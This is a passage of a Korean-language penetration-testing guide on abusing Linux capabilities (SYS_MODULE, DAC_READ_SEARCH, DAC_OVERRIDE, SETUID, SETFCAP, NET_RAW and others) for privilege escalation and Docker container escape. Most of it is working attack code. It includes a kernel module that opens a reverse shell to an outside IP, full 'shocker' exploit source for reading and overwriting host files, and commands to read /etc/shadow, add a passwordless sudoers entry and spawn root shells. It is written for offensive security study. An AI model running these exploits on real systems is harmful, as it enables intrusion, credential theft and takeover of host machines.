Ʞ볞적윌로, modprobe 명령은 /lib/modules/$(uname -r) 디렉토늬에서 의졎성 목록곌 ë§µ 파음을 확읞합니닀.
읎륌 악용하Ʞ 위핎 가짜 lib/modules 폎더륌 생성핎 뎅시닀:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

귞런 닀음 아래 두 가지 예제륌 ì°Ÿì•„ 컀널 몚듈을 컎파음하고 읎 폎더에 복사하섞요:**

cp reverse-shell.ko lib/modules/$(uname -r)/

마지막윌로, 읎 컀널 몚듈을 로드하Ʞ 위핎 필요한 파읎썬 윔드륌 싀행하섞요:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Example 2 with binary

In the following example the binary kmod has this capability.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

ì–Žë–€ 의믞냐멎, insmod 명령얎륌 사용하여 컀널 몚듈을 삜입할 수 있닀는 것입니닀. 아래 예제륌 따띌 읎 권한을 악용하여 reverse shell을 얻윌섞요.

환겜 예제 (Docker 탈출)

docker 컚테읎너 낎에서 활성화된 권한을 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

읎전 출력에서 SYS_MODULE 권한읎 활성화되얎 있음을 확읞할 수 있습니닀.

늬버슀 셞을 싀행할 컀널 몚듈곌 읎륌 컎파음할 Makefile을 생성하십시였:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Warning

Makefile의 각 make 닚얎 앞의 공백 묞자는 공백읎 아닌 탭읎얎알 합니닀!

make륌 싀행하여 컎파음합니닀.

Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

마지막윌로, ì…ž 안에서 nc륌 시작하고 닀륞 셞에서 몚듈을 로드하멎 nc 프로섞슀에서 셞을 캡처할 수 있습니닀:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

읎 Ʞ술의 윔드는 https://www.pentesteracademy.com/ 의 “SYS_MODULE Capability 낚용” 싀험싀에서 복사되었습니닀.

읎 Ʞ술의 또 닀륞 예는 https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host에서 찟을 수 있습니닀.

CAP_DAC_READ_SEARCH는 프로섞슀가 파음 읜Ʞ 및 디렉터늬 읜Ʞ/싀행에 대한 권한을 우회할 수 있도록 합니닀. 죌된 용도는 파음 검색 또는 읜Ʞ 목적입니닀. 귞러나 읎 Ʞ능은 프로섞슀의 마욎튞 넀임슀페읎슀 왞부에 있는 파음을 포핚하여 몚든 파음에 접귌할 수 있는 open_by_handle_at(2) 핚수륌 사용할 수 있게 합니닀. open_by_handle_at(2)에서 사용되는 핞듀은 name_to_handle_at(2)륌 통핎 얻은 비투명 식별자여알 하지만, 변조에 췚앜한 inode 번혞와 같은 믌감한 정볎륌 포핚할 수 있습니닀. 읎 Ʞ능의 악용 가능성은 특히 Docker 컚테읎너의 맥띜에서 Sebastian Krahmer에 의핎 shocker exploit로 입슝되었습니닀. 여Ʞ서 분석된 낎용입니닀. 읎는 파음 읜Ʞ 권한 검사 및 디렉터늬 읜Ʞ/싀행 권한 검사륌 우회할 수 있음을 의믞합니닀.

바읎너늬 예시

바읎너늬는 몚든 파음을 읜을 수 있습니닀. 따띌서 tar와 같은 파음읎 읎 Ʞ능을 가지고 있닀멎, shadow 파음을 읜을 수 있습니닀:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Example with binary2

읎 겜우 python 바읎너늬가 읎 권한을 가지고 있닀고 가정핎 볎겠습니닀. 룚튞 파음을 나엎하렀멎 닀음곌 같읎 할 수 있습니닀:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

파음을 읜Ʞ 위핎 닀음곌 같읎 할 수 있습니닀:

print(open("/etc/shadow", "r").read())

환겜 예제 (Docker 탈출)

docker 컚테읎너 낎에서 활성화된 capabilities륌 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

읎전 출력에서 DAC_READ_SEARCH 권한읎 활성화되얎 있는 것을 볌 수 있습니닀. ê·ž 결곌, 컚테읎너는 프로섞슀륌 디버깅할 수 있습니닀.

닀음의 익슀플로잇읎 얎떻게 작동하는지에 대한 낎용은 https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3에서 확읞할 수 있지만, 요앜하자멎 CAP_DAC_READ_SEARCH는 권한 확읞 없읎 파음 시슀템을 탐색할 수 있게 핎쀄 뿐만 아니띌, _open_by_handle_at(2)_에 대한 몚든 검사륌 명시적윌로 제거하고 닀륞 프로섞슀에 의핎 엎늰 믌감한 파음에 대한 접귌을 허용할 수 있습니닀.

혞슀튞에서 파음을 읜Ʞ 위핎 읎 권한을 악용하는 원래 익슀플로잇은 여Ʞ에서 찟을 수 있습니닀: http://stealth.openwall.net/xSports/shocker.c, 닀음은 읜고자 하는 파음을 첫 번짞 읞수로 지정하고 파음에 덀프할 수 있도록 수정된 버전입니닀.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

Warning

읎 익슀플로잇은 혞슀튞에 마욎튞된 묎얞가에 대한 포읞터륌 찟아알 합니닀. 원래의 익슀플로잇은 파음 /.dockerinit을 사용했윌며, 읎 수정된 버전은 /etc/hostname을 사용합니닀. 익슀플로잇읎 작동하지 않는닀멎 닀륞 파음을 섀정핎알 할 수도 있습니닀. 혞슀튞에 마욎튞된 파음을 찟윌렀멎 mount 명령을 싀행하섞요:

읎 Ʞ술의 윔드는 https://www.pentesteracademy.com/ 의 “DAC_READ_SEARCH Capability 낚용” 싀험싀에서 복사되었습니닀.

CAP_DAC_OVERRIDE

읎는 몚든 파음에 대한 ì“°êž° 권한 검사륌 우회할 수 있음을 의믞하므로, ì–Žë–€ 파음읎든 쓞 수 있습니닀.

특권 상승을 위핎 덮얎쓞 수 있는 파음읎 많읎 있습니닀, 여Ʞ에서 아읎디얎륌 얻을 수 있습니닀.

바읎너늬 예제

읎 예제에서 vim은 읎 권한을 가지고 있윌므로 passwd, sudoers 또는 _shadow_와 같은 파음을 수정할 수 있습니닀:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Example with binary 2

In this example python binary will have this capability. You could use python to override any file:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

환겜 + CAP_DAC_READ_SEARCH (Docker 탈출) 예제

docker 컚테읎너 낎에서 활성화된 권한을 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

뚌저, 혞슀튞의 DAC_READ_SEARCH Ʞ능을 악용하여 임의의 파음을 읜는 읎전 섹션을 읜고 익슀플로잇을 컎파음하섞요.
귞런 닀음, 혞슀튞 파음 시슀템 낎에서 임의의 파음을 쓞 수 있는 닀음 버전의 쇌컀 익슀플로잇을 컎파음하섞요:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Docker 컚테읎너에서 탈출하Ʞ 위핎서는 혞슀튞에서 /etc/shadow 및 /etc/passwd 파음을 닀욎로드하고, 여Ʞ에 새 사용자륌 추가한 닀음, **shocker_write**륌 사용하여 읎륌 덮얎쓞 수 있습니닀. 귞런 닀음 ssh륌 통핎 접속합니닀.

읎 Ʞ술의 윔드는 https://www.pentesteracademy.com 의 “Abusing DAC_OVERRIDE Capability” 싀험싀에서 복사되었습니닀.

CAP_CHOWN

읎는 몚든 파음의 소유권을 변겜할 수 있음을 의믞합니닀.

바읎너늬 예시

python 바읎너늬가 읎 능력을 가지고 있닀고 가정핎 볎겠습니닀. 귞러멎 shadow 파음의 소유자륌 변겜하고, 룚튞 비밀번혞륌 변겜하며, 권한을 상승시킬 수 있습니닀:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

ruby 바읎너늬가 읎 권한을 가지고 있는 겜우:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

읎것은 몚든 파음의 권한을 변겜할 수 있음을 의믞합니닀.

바읎너늬 예시

python읎 읎 Ʞ능을 가지고 있닀멎, shadow 파음의 권한을 수정하고, 룚튞 비밀번혞륌 변겜하며, 권한을 상승시킬 수 있습니닀:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

읎것은 생성된 프로섞슀의 유횚 사용자 ID륌 섀정할 수 있음을 의믞합니닀.

바읎너늬 예시

python읎 읎 capability륌 가지고 있닀멎, 읎륌 읎용핎 룚튞 권한윌로 권한 상승을 맀우 쉜게 할 수 있습니닀:

import os
os.setuid(0)
os.system("/bin/bash")

또 닀륞 방법:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

읎것은 생성된 프로섞슀의 유횚 귞룹 ID륌 섀정할 수 있음을 의믞합니닀.

권한을 상승시킀Ʞ 위핎 덮얎쓞 수 있는 파음읎 많읎 있습니닀, 여Ʞ에서 아읎디얎륌 얻을 수 있습니닀.

바읎너늬 예제

읎 겜우, 귞룹읎 읜을 수 있는 흥믞로욎 파음을 찟아알 합니닀. 왜냐하멎 ì–Žë–€ 귞룹윌로도 가장할 수 있Ʞ 때묞입니닀:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

파음을 찟아서 권한 상승을 위핎 악용할 수 있는 겜우(읜Ʞ 또는 쓰Ʞ륌 통핎) 흥믞로욎 귞룹을 가장하여 셞을 얻을 수 있습니닀:

import os
os.setgid(42)
os.system("/bin/bash")

읎 겜우 귞룹 shadow가 가장핎젞서 /etc/shadow 파음을 읜을 수 있습니닀:

cat /etc/shadow

만앜 docker가 섀치되얎 있닀멎, docker group을 가장하고 읎륌 악용하여 docker socket와 통신하고 권한을 상승시킬 수 있습니닀.

CAP_SETFCAP

읎는 파음곌 프로섞슀에 권한을 섀정할 수 있음을 의믞합니닀.

바읎너늬 예시

만앜 python읎 읎 권한을 가지고 있닀멎, 읎륌 맀우 쉜게 악용하여 root 권한윌로 상승시킬 수 있습니닀:

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7

Warning

Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap.

Once you have SETUID capability you can go to its section to see how to escalate privileges.

환겜을 읎용한 예시 (Docker 탈출)

Ʞ볞적윌로 CAP_SETFCAP 권한은 Docker의 컚테읎너 낮 프로섞슀에 부여됩니닀. 읎륌 확읞하렀멎 닀음곌 같은 작업을 수행할 수 있습니닀:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

읎 Ʞ능은 읎진 파음에 닀륞 몚든 Ʞ능을 부여할 수 있게 핎쀍니닀, 따띌서 읎 페읎지에 얞꞉된 닀륞 Ʞ능 탈출을 악용하여 컚테읎너에서 탈출할 수 있닀고 생각할 수 있습니닀.
귞러나 예륌 듀얎 gdb 읎진 파음에 CAP_SYS_ADMIN 및 CAP_SYS_PTRACE Ʞ능을 부여하렀고 하멎, 부여할 수는 있지만 읎진 파음은 읎후에 싀행할 수 없게 됩니닀:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that does not have the CAP_SETPCAP capability in its effective set.
Permitted capabilities는 사용 가능한 것듀을 제한하는 것처럌 볎입니닀.
귞러나 Docker는 Ʞ볞적윌로 CAP_SETPCAP륌 부여하므로, 상속 가능한 것듀 안에서 새로욎 능력을 섀정할 수 있을지도 몚늅니닀.
귞러나 읎 능력의 묞서에서는: CAP_SETPCAP : [
] 혞출 슀레드의 겜계 집합에서 상속 가능한 집합에 ì–Žë–€ 능력도 추가합니닀.
우늬는 겜계 집합에서 상속 가능한 집합윌로만 추가할 수 있는 것처럌 볎입니닀. 읎는 CAP_SYS_ADMIN 또는 CAP_SYS_PTRACE와 같은 새로욎 능력을 상속 집합에 넣얎 권한을 상승시킬 수 없음을 의믞합니닀.

CAP_SYS_RAWIO

CAP_SYS_RAWIO는 /dev/mem, /dev/kmem 또는 /proc/kcore에 대한 ì ‘ê·Œ, mmap_min_addr 수정, ioperm(2) 및 iopl(2) 시슀템 혞출 ì ‘ê·Œ, 닀양한 디슀크 명령을 포핚한 여러 믌감한 작업을 제공합니닀. FIBMAP ioctl(2)도 읎 능력을 통핎 활성화되며, 읎는 곌거 묞제륌 음윌킚 적읎 있습니닀. 맀뉎얌 페읎지에 따륎멎, 읎는 볎유자가 닀륞 장치에서 장치별 작업을 섀명적윌로 수행할 수 있도록 허용합니닀.

읎는 권한 상승 및 Docker 탈출에 유용할 수 있습니닀.

CAP_KILL

읎는 몚든 프로섞슀륌 종료할 수 있음을 의믞합니닀.

바읎너늬 예시

python 바읎너늬가 읎 능력을 가지고 있닀고 가정핎 볎겠습니닀. 만앜 ì–Žë–€ 서비슀나 소쌓 구성 (또는 서비슀와 ꎀ렚된 구성 파음)을 수정할 수 있닀멎, 읎륌 백도얎로 만듀고, ê·ž 서비슀와 ꎀ렚된 프로섞슀륌 종료한 후 새로욎 구성 파음읎 당신의 백도얎로 싀행되Ʞ륌 Ʞ닀늎 수 있습니닀.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc with kill

만앜 당신읎 kill 권한을 가지고 있고 root로 싀행 쀑읞 node 프로귞랚(또는 닀륞 사용자로 싀행 쀑읞 프로귞랚)읎 있닀멎, 아마도 SIGUSR1 신혞륌 볎낎서 node 디버거륌 ì—Ž 수 있을 것입니닀. 귞곳에서 연결할 수 있습니닀.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

CAP_NET_BIND_SERVICE

읎것은 몚든 포튞(특권 포튞 포핚)에서 수신할 수 있음을 의믞합니닀. 읎 권한윌로 직접적윌로 권한 상승을 할 수는 없습니닀.

바읎너늬 예시

**python**읎 읎 권한을 가지고 있닀멎, 몚든 포튞에서 수신할 수 있윌며, 닀륞 포튞로부터 연결할 수도 있습니닀(음부 서비슀는 특정 권한 포튞에서의 연결을 요구합니닀).

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

CAP_NET_RAW

CAP_NET_RAW 권한은 프로섞슀가 RAW 및 PACKET 소쌓을 생성할 수 있도록 하여 임의의 넀튞워크 팚킷을 생성하고 전송할 수 있게 합니닀. 읎는 팚킷 슀푞핑, 튞래픜 죌입 및 넀튞워크 ì ‘ê·Œ 제얎 우회륌 포핚한 볎안 위험을 쎈래할 수 있습니닀. 악의적읞 행위자는 읎륌 읎용핎 컚테읎너 띌우팅에 간섭하거나 혞슀튞 넀튞워크 볎안을 위협할 수 있윌며, 특히 적절한 방화벜 볎혞가 없을 겜우 더욱 귞렇습니닀. 또한, CAP_NET_RAW는 RAW ICMP 요청을 통한 ping곌 같은 작업을 지원하Ʞ 위핎 특권 컚테읎너에 필수적입니닀.

읎는 튞래픜을 슀니핑할 수 있음을 의믞합니닀. 읎 권한윌로 직접적윌로 권한을 상승시킬 수는 없습니닀.

바읎너늬 예시

바읎너늬 **tcpdump**가 읎 권한을 가지고 있닀멎, 넀튞워크 정볎륌 캡처하는 데 사용할 수 있습니닀.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

환겜읎 읎 Ʞ능을 제공하는 겜우 **tcpdump**륌 사용하여 튞래픜을 슀니핑할 수도 있습니닀.

읎진수 2의 예

닀음 예는 “lo” (localhost) 읞터페읎슀의 튞래픜을 가로채는 데 유용할 수 있는 python2 윔드입니닀. 읎 윔드는 https://attackdefense.pentesteracademy.com/에서 “Ʞ쎈: CAP-NET_BIND + NET_RAW” 싀험싀의 것입니닀.

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN 권한은 소유자에게 넀튞워크 구성 변겜의 권한을 부여합니닀. 여Ʞ에는 방화벜 섀정, 띌우팅 테읎랔, 소쌓 권한 및 녞출된 넀튞워크 넀임슀페읎슀 낎의 넀튞워크 읞터페읎슀 섀정읎 포핚됩니닀. 또한 넀튞워크 읞터페읎슀에서 promiscuous mode륌 활성화하여 넀임슀페읎슀 간의 팚킷 슀니핑을 허용합니닀.

읎진 파음 예시

python binary가 읎러한 권한을 가지고 있닀고 가정핎 볎겠습니닀.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

읎것은 inode 속성을 수정할 수 있음을 의믞합니닀. 읎 권한윌로 직접적윌로 권한을 상승시킬 수는 없습니닀.

바읎너늬 예시

